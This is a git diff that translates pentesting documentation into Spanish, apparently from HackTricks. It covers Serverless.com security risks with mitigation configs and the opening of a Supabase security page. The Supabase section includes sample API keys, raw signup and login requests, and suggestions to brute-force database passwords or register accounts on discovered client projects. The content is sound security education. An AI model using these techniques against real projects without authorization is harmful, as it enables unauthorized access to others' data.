- KeySchema:
- - AttributeName: primary_key
- KeyType: HASH
- TableName: ${self:service}-customerTable-${sls:stage}
+Resources:
+CustomerTable:
+Type: AWS::DynamoDB::Table
+Properties:
+AttributeDefinitions:
+- AttributeName: primary_key
+AttributeType: S
+BillingMode: PAY_PER_REQUEST
+KeySchema:
+- AttributeName: primary_key
+KeyType: HASH
+TableName: ${self:service}-customerTable-${sls:stage}
```
-
{{#endtab }}
{{#endtabs }}
-6. Deploy it running **`serverless deploy`**
- 1. The deployment will be performed via a CloudFormation Stack
- 2. Note that the **lambdas are exposed via API gateway** and not via direct URLs
-7. **Test it**
- 1. The previous step will print the **URLs** where your API endpoints lambda functions have been deployed
+6. Despliegue ejecutando **`serverless deploy`**
+1. El despliegue se realizará a través de una pila de CloudFormation
+2. Tenga en cuenta que las **lambdas están expuestas a través de API gateway** y no a través de URLs directas
+7. **Pruébelo**
+1. El paso anterior imprimirá las **URLs** donde se han desplegado las funciones lambda de sus puntos finales de API
-## Security Review of Serverless.com
+## Revisión de Seguridad de Serverless.com
-### **Misconfigured IAM Roles and Permissions**
+### **Roles y Permisos IAM Mal Configurados**
-Overly permissive IAM roles can grant unauthorized access to cloud resources, leading to data breaches or resource manipulation.
+Los roles IAM excesivamente permisivos pueden otorgar acceso no autorizado a recursos en la nube, lo que lleva a filtraciones de datos o manipulación de recursos.
-When no permissions are specified for the a Lambda function, a role with permissions only to generate logs will be created, like:
+Cuando no se especifican permisos para una función Lambda, se creará un rol con permisos solo para generar registros, como:
-Minimum lambda permissions
-
+Permisos mínimos de lambda
```json
{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Action": [
- "logs:CreateLogStream",
- "logs:CreateLogGroup",
- "logs:TagResource"
- ],
- "Resource": [
- "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*"
- ],
- "Effect": "Allow"
- },
- {
- "Action": ["logs:PutLogEvents"],
- "Resource": [
- "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*"
- ],
- "Effect": "Allow"
- }
- ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Action": [
+"logs:CreateLogStream",
+"logs:CreateLogGroup",
+"logs:TagResource"
+],
+"Resource": [
+"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*"
+],
+"Effect": "Allow"
+},
+{
+"Action": ["logs:PutLogEvents"],
+"Resource": [
+"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*"
+],
+"Effect": "Allow"
+}
+]
}
```
-
-#### **Mitigation Strategies**
+#### **Estrategias de Mitigación**
-- **Principle of Least Privilege:** Assign only necessary permissions to each function.
-
- ```yaml
- provider:
- [...]
- iam:
- role:
- statements:
- - Effect: 'Allow'
- Action:
- - 'dynamodb:PutItem'
- - 'dynamodb:Get*'
- - 'dynamodb:Scan*'
- - 'dynamodb:UpdateItem'
- - 'dynamodb:DeleteItem'
- Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
- ```
-
-- **Use Separate Roles:** Differentiate roles based on function requirements.
-
----
-
-### **Insecure Secrets and Configuration Management**
-
-Storing sensitive information (e.g., API keys, database credentials) directly in **`serverless.yml`** or code can lead to exposure if repositories are compromised.
-
-The **recommended** way to store environment variables in **`serverless.yml`** file from serverless.com (at the time of this writing) is to use the `ssm` or `s3` providers, which allows to get the **environment values from these sources at deployment time** and **configure** the **lambdas** environment variables with the **text clear of the values**!
-
-> [!CAUTION]
-> Therefore, anyone with permissions to read the lambdas configuration inside AWS will be able to **access all these environment variables in clear text!**
-
-For example, the following example will use SSM to get an environment variable:
+- **Principio de Menor Privilegio:** Asignar solo los permisos necesarios a cada función.
```yaml
provider:
- environment:
- DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
+[...]
+iam:
+role:
+statements:
+- Effect: 'Allow'
+Action:
+- 'dynamodb:PutItem'
+- 'dynamodb:Get*'
+- 'dynamodb:Scan*'
+- 'dynamodb:UpdateItem'
+- 'dynamodb:DeleteItem'
+Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
```
+- **Usar Roles Separados:** Diferenciar roles según los requisitos de la función.
+
+---
+
+### **Secretos Inseguros y Gestión de Configuración**
+
+Almacenar información sensible (por ejemplo, claves API, credenciales de base de datos) directamente en **`serverless.yml`** o en el código puede llevar a la exposición si los repositorios son comprometidos.
+
+La **manera recomendada** de almacenar variables de entorno en el archivo **`serverless.yml`** de serverless.com (en el momento de escribir esto) es usar los proveedores `ssm` o `s3`, que permiten obtener los **valores de entorno de estas fuentes en el momento de la implementación** y **configurar** las **variables de entorno de las lambdas** con el **texto claro de los valores**!
+
+> [!CAUTION]
+> Por lo tanto, cualquier persona con permisos para leer la configuración de las lambdas dentro de AWS podrá **acceder a todas estas variables de entorno en texto claro!**
+
+Por ejemplo, el siguiente ejemplo usará SSM para obtener una variable de entorno:
+```yaml
+provider:
+environment:
+DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
+```
And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **added in clear text inside the lambda environment variable**.
> [!TIP]
-> The recommended way to store environment variables using serveless.com would be to **store it in a AWS secret** and just store the secret name in the environment variable and the **lambda code should gather it**.
+> La forma recomendada de almacenar variables de entorno usando serveless.com sería **almacenarla en un secreto de AWS** y solo almacenar el nombre del secreto en la variable de entorno y el **código lambda debería recogerlo**.
-#### **Mitigation Strategies**
+#### **Estrategias de Mitigación**
-- **Secrets Manager Integration:** Use services like **AWS Secrets Manager.**
-- **Encrypted Variables:** Leverage Serverless Framework’s encryption features for sensitive data.
-- **Access Controls:** Restrict access to secrets based on roles.
+- **Integración con Secrets Manager:** Utilizar servicios como **AWS Secrets Manager.**
+- **Variables Encriptadas:** Aprovechar las características de encriptación del Serverless Framework para datos sensibles.
+- **Controles de Acceso:** Restringir el acceso a secretos según roles.
---
-### **Vulnerable Code and Dependencies**
+### **Código y Dependencias Vulnerables**
-Outdated or insecure dependencies can introduce vulnerabilities, while improper input handling may lead to code injection attacks.
+Dependencias desactualizadas o inseguras pueden introducir vulnerabilidades, mientras que un manejo inadecuado de entradas puede llevar a ataques de inyección de código.
-#### **Mitigation Strategies**
+#### **Estrategias de Mitigación**
-- **Dependency Management:** Regularly update dependencies and scan for vulnerabilities.
+- **Gestión de Dependencias:** Actualizar regularmente las dependencias y escanear en busca de vulnerabilidades.
- ```yaml
- plugins:
- - serverless-webpack
- - serverless-plugin-snyk
- ```
+```yaml
+plugins:
+- serverless-webpack
+- serverless-plugin-snyk
+```
-- **Input Validation:** Implement strict validation and sanitization of all inputs.
-- **Code Reviews:** Conduct thorough reviews to identify security flaws.
-- **Static Analysis:** Use tools to detect vulnerabilities in the codebase.
+- **Validación de Entradas:** Implementar una validación y sanitización estrictas de todas las entradas.
+- **Revisiones de Código:** Realizar revisiones exhaustivas para identificar fallos de seguridad.
+- **Análisis Estático:** Utilizar herramientas para detectar vulnerabilidades en la base de código.
---
-### **Inadequate Logging and Monitoring**
+### **Registro y Monitoreo Inadecuados**
-Without proper logging and monitoring, malicious activities may go undetected, delaying incident response.
+Sin un registro y monitoreo adecuados, las actividades maliciosas pueden pasar desapercibidas, retrasando la respuesta a incidentes.
-#### **Mitigation Strategies**
+#### **Estrategias de Mitigación**
-- **Centralized Logging:** Aggregate logs using services like **AWS CloudWatch** or **Datadog**.
+- **Registro Centralizado:** Agregar registros utilizando servicios como **AWS CloudWatch** o **Datadog**.
- ```yaml
- plugins:
- - serverless-plugin-datadog
- ```
+```yaml
+plugins:
+- serverless-plugin-datadog
+```
-- **Enable Detailed Logging:** Capture essential information without exposing sensitive data.
-- **Set Up Alerts:** Configure alerts for suspicious activities or anomalies.
-- **Regular Monitoring:** Continuously monitor logs and metrics for potential security incidents.
+- **Habilitar Registro Detallado:** Capturar información esencial sin exponer datos sensibles.
+- **Configurar Alertas:** Configurar alertas para actividades sospechosas o anomalías.
+- **Monitoreo Regular:** Monitorear continuamente registros y métricas en busca de posibles incidentes de seguridad.
---
-### **Insecure API Gateway Configurations**
+### **Configuraciones Inseguras de API Gateway**
-Open or improperly secured APIs can be exploited for unauthorized access, Denial of Service (DoS) attacks, or cross-site attacks.
+APIs abiertas o mal aseguradas pueden ser explotadas para acceso no autorizado, ataques de Denegación de Servicio (DoS) o ataques entre sitios.
-#### **Mitigation Strategies**
+#### **Estrategias de Mitigación**
-- **Authentication and Authorization:** Implement robust mechanisms like OAuth, API keys, or JWT.
+- **Autenticación y Autorización:** Implementar mecanismos robustos como OAuth, claves API o JWT.
- ```yaml
- functions:
- hello:
- handler: handler.hello
- events:
- - http:
- path: hello
- method: get
- authorizer: aws_iam
- ```
+```yaml
+functions:
+hello:
+handler: handler.hello
+events:
+- http:
+path: hello
+method: get
+authorizer: aws_iam
+```
-- **Rate Limiting and Throttling:** Prevent abuse by limiting request rates.
+- **Limitación de Tasa y Regulación:** Prevenir abusos limitando las tasas de solicitud.
- ```yaml
- provider:
- apiGateway:
- throttle:
- burstLimit: 200
- rateLimit: 100
- ```
+```yaml
+provider:
+apiGateway:
+throttle:
+burstLimit: 200
+rateLimit: 100
+```
-- **Secure CORS Configuration:** Restrict allowed origins, methods, and headers.
+- **Configuración Segura de CORS:** Restringir orígenes, métodos y encabezados permitidos.
- ```yaml
- functions:
- hello:
- handler: handler.hello
- events:
- - http:
- path: hello
- method: get
- cors:
- origin: https://yourdomain.com
- headers:
- - Content-Type
- ```
+```yaml
+functions:
+hello:
+handler: handler.hello
+events:
+- http:
+path: hello
+method: get
+cors:
+origin: https://yourdomain.com
+headers:
+- Content-Type
+```
-- **Use Web Application Firewalls (WAF):** Filter and monitor HTTP requests for malicious patterns.
+- **Usar Firewalls de Aplicaciones Web (WAF):** Filtrar y monitorear solicitudes HTTP en busca de patrones maliciosos.
---
-### **Insufficient Function Isolation**
+### **Aislamiento de Funciones Insuficiente**
-Shared resources and inadequate isolation can lead to privilege escalations or unintended interactions between functions.
+Recursos compartidos y un aislamiento inadecuado pueden llevar a escalaciones de privilegios o interacciones no deseadas entre funciones.
-#### **Mitigation Strategies**
+#### **Estrategias de Mitigación**
-- **Isolate Functions:** Assign distinct resources and IAM roles to ensure independent operation.
-- **Resource Partitioning:** Use separate databases or storage buckets for different functions.
-- **Use VPCs:** Deploy functions within Virtual Private Clouds for enhanced network isolation.
+- **Aislar Funciones:** Asignar recursos y roles de IAM distintos para asegurar una operación independiente.
+- **Particionamiento de Recursos:** Utilizar bases de datos o buckets de almacenamiento separados para diferentes funciones.
+- **Usar VPCs:** Desplegar funciones dentro de Nubes Privadas Virtuales para un mejor aislamiento de red.
- ```yaml
- provider:
- vpc:
- securityGroupIds:
- - sg-xxxxxxxx
- subnetIds:
- - subnet-xxxxxx
- ```
+```yaml
+provider:
+vpc:
+securityGroupIds:
+- sg-xxxxxxxx
+subnetIds:
+- subnet-xxxxxx
+```
-- **Limit Function Permissions:** Ensure functions cannot access or interfere with each other’s resources unless explicitly required.
+- **Limitar Permisos de Funciones:** Asegurarse de que las funciones no puedan acceder o interferir con los recursos de otras funciones a menos que sea explícitamente necesario.
---
-### **Inadequate Data Protection**
+### **Protección de Datos Inadecuada**
-Unencrypted data at rest or in transit can be exposed, leading to data breaches or tampering.
+Datos no encriptados en reposo o en tránsito pueden ser expuestos, llevando a brechas de datos o manipulación.
-#### **Mitigation Strategies**
+#### **Estrategias de Mitigación**
-- **Encrypt Data at Rest:** Utilize cloud service encryption features.
+- **Encriptar Datos en Reposo:** Utilizar características de encriptación de servicios en la nube.
- ```yaml
- resources:
- Resources:
- MyDynamoDBTable:
- Type: AWS::DynamoDB::Table
- Properties:
- SSESpecification:
- SSEEnabled: true
- ```
+```yaml
+resources:
+Resources:
+MyDynamoDBTable:
+Type: AWS::DynamoDB::Table
+Properties:
+SSESpecification:
+SSEEnabled: true
+```
-- **Encrypt Data in Transit:** Use HTTPS/TLS for all data transmissions.
-- **Secure API Communication:** Enforce encryption protocols and validate certificates.
-- **Manage Encryption Keys Securely:** Use managed key services and rotate keys regularly.
+- **Encriptar Datos en Tránsito:** Usar HTTPS/TLS para todas las transmisiones de datos.
+- **Comunicación API Segura:** Hacer cumplir protocolos de encriptación y validar certificados.
+- **Gestionar Claves de Encriptación de Forma Segura:** Utilizar servicios de claves gestionadas y rotar claves regularmente.
---
-### **Lack of Proper Error Handling**
+### **Falta de Manejo Adecuado de Errores**
-Detailed error messages can leak sensitive information about the infrastructure or codebase, while unhandled exceptions may lead to application crashes.
+Mensajes de error detallados pueden filtrar información sensible sobre la infraestructura o la base de código, mientras que excepciones no manejadas pueden llevar a caídas de la aplicación.
-#### **Mitigation Strategies**
+#### **Estrategias de Mitigación**
-- **Generic Error Messages:** Avoid exposing internal details in error responses.
+- **Mensajes de Error Genéricos:** Evitar exponer detalles internos en las respuestas de error.
- ```javascript
- javascriptCopy code// Example in Node.js
- exports.hello = async (event) => {
- try {
- // Function logic
- } catch (error) {
- console.error(error);
- return {
- statusCode: 500,
- body: JSON.stringify({ message: 'Internal Server Error' }),
- };
- }
- };
- ```
+```javascript
+javascriptCopy code// Ejemplo en Node.js
+exports.hello = async (event) => {
+try {
+// Lógica de la función
+} catch (error) {
+console.error(error);
+return {
+statusCode: 500,
+body: JSON.stringify({ message: 'Error Interno del Servidor' }),
+};
+}
+};
+```
-- **Centralized Error Handling:** Manage and sanitize errors consistently across all functions.
-- **Monitor and Log Errors:** Track and analyze errors internally without exposing details to end-users.
+- **Manejo Centralizado de Errores:** Gestionar y sanitizar errores de manera consistente en todas las funciones.
+- **Monitorear y Registrar Errores:** Rastrear y analizar errores internamente sin exponer detalles a los usuarios finales.
---
-### **Insecure Deployment Practices**
+### **Prácticas de Despliegue Inseguras**
-Exposed deployment configurations or unauthorized access to CI/CD pipelines can lead to malicious code deployments or misconfigurations.
+Configuraciones de despliegue expuestas o acceso no autorizado a pipelines de CI/CD pueden llevar a despliegues de código malicioso o configuraciones incorrectas.
-#### **Mitigation Strategies**
+#### **Estrategias de Mitigación**
-- **Secure CI/CD Pipelines:** Implement strict access controls, multi-factor authentication (MFA), and regular audits.
-- **Store Configuration Securely:** Keep deployment files free from hardcoded secrets and sensitive data.
-- **Use Infrastructure as Code (IaC) Security Tools:** Employ tools like **Checkov** or **Terraform Sentinel** to enforce security policies.
-- **Immutable Deployments:** Prevent unauthorized changes post-deployment by adopting immutable infrastructure practices.
+- **Asegurar Pipelines de CI/CD:** Implementar controles de acceso estrictos, autenticación multifactor (MFA) y auditorías regulares.
+- **Almacenar Configuración de Forma Segura:** Mantener archivos de despliegue libres de secretos codificados y datos sensibles.
+- **Usar Herramientas de Seguridad de Infraestructura como Código (IaC):** Emplear herramientas como **Checkov** o **Terraform Sentinel** para hacer cumplir políticas de seguridad.
+- **Despliegues Inmutables:** Prevenir cambios no autorizados después del despliegue adoptando prácticas de infraestructura inmutable.
---
-### **Vulnerabilities in Plugins and Extensions**
+### **Vulnerabilidades en Plugins y Extensiones**
-Using unvetted or malicious third-party plugins can introduce vulnerabilities into your serverless applications.
+Usar plugins de terceros no verificados o maliciosos puede introducir vulnerabilidades en sus aplicaciones serverless.
-#### **Mitigation Strategies**
+#### **Estrategias de Mitigación**
-- **Vet Plugins Thoroughly:** Assess the security of plugins before integration, favoring those from reputable sources.
-- **Limit Plugin Usage:** Use only necessary plugins to minimize the attack surface.
-- **Monitor Plugin Updates:** Keep plugins updated to benefit from security patches.
-- **Isolate Plugin Environments:** Run plugins in isolated environments to contain potential compromises.
+- **Evaluar Plugins a Fondo:** Evaluar la seguridad de los plugins antes de la integración, favoreciendo aquellos de fuentes reputables.
+- **Limitar el Uso de Plugins:** Usar solo los plugins necesarios para minimizar la superficie de ataque.
+- **Monitorear Actualizaciones de Plugins:** Mantener los plugins actualizados para beneficiarse de parches de seguridad.
+- **Aislar Entornos de Plugins:** Ejecutar plugins en entornos aislados para contener posibles compromisos.
---
-### **Exposure of Sensitive Endpoints**
+### **Exposición de Puntos Finales Sensibles**
-Publicly accessible functions or unrestricted APIs can be exploited for unauthorized operations.
+Funciones accesibles públicamente o APIs sin restricciones pueden ser explotadas para operaciones no autorizadas.
-#### **Mitigation Strategies**
+#### **Estrategias de Mitigación**
-- **Restrict Function Access:** Use VPCs, security groups, and firewall rules to limit access to trusted sources.
-- **Implement Robust Authentication:** Ensure all exposed endpoints require proper authentication and authorization.
-- **Use API Gateways Securely:** Configure API Gateways to enforce security policies, including input validation and rate limiting.
-- **Disable Unused Endpoints:** Regularly review and disable any endpoints that are no longer in use.
+- **Restringir el Acceso a Funciones:** Usar VPCs, grupos de seguridad y reglas de firewall para limitar el acceso a fuentes confiables.
+- **Implementar Autenticación Robusta:** Asegurarse de que todos los puntos finales expuestos requieran autenticación y autorización adecuadas.
+- **Usar API Gateways de Forma Segura:** Configurar API Gateways para hacer cumplir políticas de seguridad, incluyendo validación de entradas y limitación de tasas.
+- **Deshabilitar Puntos Finales No Utilizados:** Revisar regularmente y deshabilitar cualquier punto final que ya no esté en uso.
---
-### **Excessive Permissions for Team Members and External Collaborators**
+### **Permisos Excesivos para Miembros del Equipo y Colaboradores Externos**
-Granting excessive permissions to team members and external collaborators can lead to unauthorized access, data breaches, and misuse of resources. This risk is heightened in environments where multiple individuals have varying levels of access, increasing the attack surface and potential for insider threats.
+Conceder permisos excesivos a miembros del equipo y colaboradores externos puede llevar a acceso no autorizado, brechas de datos y uso indebido de recursos. Este riesgo se incrementa en entornos donde múltiples individuos tienen diferentes niveles de acceso, aumentando la superficie de ataque y el potencial de amenazas internas.
-#### **Mitigation Strategies**
+#### **Estrategias de Mitigación**
-- **Principle of Least Privilege:** Ensure that team members and collaborators have only the permissions necessary to perform their tasks.
+- **Principio de Menor Privilegio:** Asegurarse de que los miembros del equipo y colaboradores tengan solo los permisos necesarios para realizar sus tareas.
---
-### **Access Keys and License Keys Security**
+### **Seguridad de Claves de Acceso y Claves de Licencia**
-**Access Keys** and **License Keys** are critical credentials used to authenticate and authorize interactions with the Serverless Framework CLI.
+**Claves de Acceso** y **Claves de Licencia** son credenciales críticas utilizadas para autenticar y autorizar interacciones con la CLI de Serverless Framework.
-- **License Keys:** They are Unique identifiers required for authenticating access to Serverless Framework Version 4 which allows to login via CLI.
-- **Access Keys:** Credentials that allow the Serverless Framework CLI to authenticate with the Serverless Framework Dashboard. When login with `serverless` cli an access key will be **generated and stored in the laptop**. You can also set it as an environment variable named `SERVERLESS_ACCESS_KEY`.
+- **Claves de Licencia:** Son identificadores únicos requeridos para autenticar el acceso a Serverless Framework Versión 4 que permite iniciar sesión a través de la CLI.
+- **Claves de Acceso:** Credenciales que permiten a la CLI de Serverless Framework autenticarse con el Dashboard de Serverless Framework. Al iniciar sesión con la CLI `serverless`, se generará y almacenará una clave de acceso en la **computadora portátil**. También puede configurarse como una variable de entorno llamada `SERVERLESS_ACCESS_KEY`.
-#### **Security Risks**
+#### **Riesgos de Seguridad**
-1. **Exposure Through Code Repositories:**
- - Hardcoding or accidentally committing Access Keys and License Keys to version control systems can lead to unauthorized access.
-2. **Insecure Storage:**
- - Storing keys in plaintext within environment variables or configuration files without proper encryption increases the likelihood of leakage.
-3. **Improper Distribution:**
- - Sharing keys through unsecured channels (e.g., email, chat) can result in interception by malicious actors.
-4. **Lack of Rotation:**
- - Not regularly rotating keys extends the exposure period if keys are compromised.
-5. **Excessive Permissions:**
- - Keys with broad permissions can be exploited to perform unauthorized actions across multiple resources.
+1. **Exposición a Través de Repositorios de Código:**
+- Codificar o comprometer accidentalmente Claves de Acceso y Claves de Licencia en sistemas de control de versiones puede llevar a acceso no autorizado.
+2. **Almacenamiento Inseguro:**
+- Almacenar claves en texto plano dentro de variables de entorno o archivos de configuración sin la encriptación adecuada aumenta la probabilidad de filtraciones.
+3. **Distribución Inadecuada:**
+- Compartir claves a través de canales no seguros (por ejemplo, correo electrónico, chat) puede resultar en la interceptación por actores maliciosos.
+4. **Falta de Rotación:**
+- No rotar regularmente las claves extiende el período de exposición si las claves son comprometidas.
+5. **Permisos Excesivos:**
+- Claves con permisos amplios pueden ser explotadas para realizar acciones no autorizadas en múltiples recursos.
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md
index 6fa6219f8..4a00000a1 100644
--- a/src/pentesting-ci-cd/supabase-security.md
+++ b/src/pentesting-ci-cd/supabase-security.md
@@ -2,49 +2,48 @@
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## Información Básica
-As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings.
+Según su [**página de inicio**](https://supabase.com/): Supabase es una alternativa de código abierto a Firebase. Comienza tu proyecto con una base de datos Postgres, Autenticación, APIs instantáneas, Funciones Edge, suscripciones en tiempo real, Almacenamiento y embeddings vectoriales.
-### Subdomain
+### Subdominio
-Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`**
+Básicamente, cuando se crea un proyecto, el usuario recibirá un subdominio supabase.co como: **`jnanozjdybtpqgcwhdiz.supabase.co`**
-## **Database configuration**
+## **Configuración de la base de datos**
> [!TIP]
-> **This data can be accessed from a link like `https://supabase.com/dashboard/project//settings/database`**
+> **Estos datos se pueden acceder desde un enlace como `https://supabase.com/dashboard/project//settings/database`**
-This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\
-The password is a **password the user put** previously.
+Esta **base de datos** se desplegará en alguna región de AWS, y para conectarse a ella sería posible hacerlo conectándose a: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (esto fue creado en us-west-1).\
+La contraseña es una **contraseña que el usuario puso** previamente.
-Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**.
+Por lo tanto, dado que el subdominio es conocido y se usa como nombre de usuario y las regiones de AWS son limitadas, podría ser posible intentar **fuerza bruta la contraseña**.
-This section also contains options to:
+Esta sección también contiene opciones para:
-- Reset the database password
-- Configure connection pooling
-- Configure SSL: Reject plan-text connections (by default they are enabled)
-- Configure Disk size
-- Apply network restrictions and bans
+- Restablecer la contraseña de la base de datos
+- Configurar el agrupamiento de conexiones
+- Configurar SSL: Rechazar conexiones en texto plano (por defecto están habilitadas)
+- Configurar el tamaño del disco
+- Aplicar restricciones y prohibiciones de red
-## API Configuration
+## Configuración de la API
> [!TIP]
-> **This data can be accessed from a link like `https://supabase.com/dashboard/project//settings/api`**
+> **Estos datos se pueden acceder desde un enlace como `https://supabase.com/dashboard/project//settings/api`**
-The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
+La URL para acceder a la API de supabase en tu proyecto será como: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
-### anon api keys
+### claves api anon
-It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in
+También generará una **clave API anon** (`role: "anon"`), como: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` que la aplicación necesitará usar para contactar la clave API expuesta en nuestro ejemplo en
-It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be:
+Es posible encontrar la API REST para contactar esta API en la [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), pero los endpoints más interesantes serían:
-Signup (/auth/v1/signup)
-
+Registro (/auth/v1/signup)
```
POST /auth/v1/signup HTTP/2
Host: id.io.net
@@ -69,13 +68,11 @@ Priority: u=1, i
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
```
-
-Login (/auth/v1/token?grant_type=password)
-
+Iniciar sesión (/auth/v1/token?grant_type=password)
```
POST /auth/v1/token?grant_type=password HTTP/2
Host: hypzbtgspjkludjcnjxl.supabase.co
@@ -100,68 +97,63 @@ Priority: u=1, i
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
```
-
-So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**.
+Entonces, cada vez que descubras un cliente que utiliza supabase con el subdominio que se le otorgó (es posible que un subdominio de la empresa tenga un CNAME sobre su subdominio de supabase), podrías intentar **crear una nueva cuenta en la plataforma utilizando la API de supabase**.
-### secret / service_role api keys
+### claves api secretas / service_role
-A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**.
+Una clave API secreta también se generará con **`role: "service_role"`**. Esta clave API debe ser secreta porque podrá eludir **Row Level Security**.
-The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
+La clave API se ve así: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
-### JWT Secret
+### Secreto JWT
-A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**.
+Un **secreto JWT** también se generará para que la aplicación pueda **crear y firmar tokens JWT personalizados**.
-## Authentication
+## Autenticación
-### Signups
+### Registros
> [!TIP]
-> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints.
+> Por **defecto**, supabase permitirá **que nuevos usuarios creen cuentas** en tu proyecto utilizando los endpoints de API mencionados anteriormente.
-However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\
-This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those:
+Sin embargo, estas nuevas cuentas, por defecto, **necesitarán validar su dirección de correo electrónico** para poder iniciar sesión en la cuenta. Es posible habilitar **"Permitir inicios de sesión anónimos"** para permitir que las personas inicien sesión sin verificar su dirección de correo electrónico. Esto podría otorgar acceso a **datos inesperados** (obtienen los roles `public` y `authenticated`).\
+Esta es una muy mala idea porque supabase cobra por usuario activo, por lo que las personas podrían crear usuarios e iniciar sesión y supabase cobrará por esos:
-### Passwords & sessions
+### Contraseñas y sesiones
-It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\
-It's recommended to **improve the requirements as the default ones are weak**.
+Es posible indicar la longitud mínima de la contraseña (por defecto), requisitos (no por defecto) y deshabilitar el uso de contraseñas filtradas.\
+Se recomienda **mejorar los requisitos ya que los predeterminados son débiles**.
-- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...)
-- Bot and Abuse Protection: It's possible to enable Captcha.
+- Sesiones de Usuario: Es posible configurar cómo funcionan las sesiones de usuario (tiempos de espera, 1 sesión por usuario...)
+- Protección contra Bots y Abusos: Es posible habilitar Captcha.
-### SMTP Settings
+### Configuraciones SMTP
-It's possible to set an SMTP to send emails.
+Es posible establecer un SMTP para enviar correos electrónicos.
-### Advanced Settings
+### Configuraciones Avanzadas
-- Set expire time to access tokens (3600 by default)
-- Set to detect and revoke potentially compromised refresh tokens and timeout
-- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default)
-- Max Direct Database Connections: Max number of connections used to auth (10 by default)
-- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default)
+- Establecer tiempo de expiración para tokens de acceso (3600 por defecto)
+- Establecer para detectar y revocar tokens de actualización potencialmente comprometidos y tiempo de espera
+- MFA: Indicar cuántos factores MFA pueden ser inscritos a la vez por usuario (10 por defecto)
+- Máx. Conexiones Directas a la Base de Datos: Número máximo de conexiones utilizadas para autenticación (10 por defecto)
+- Duración Máxima de Solicitud: Tiempo máximo permitido para que dure una solicitud de autenticación (10s por defecto)
-## Storage
+## Almacenamiento
> [!TIP]
-> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets).
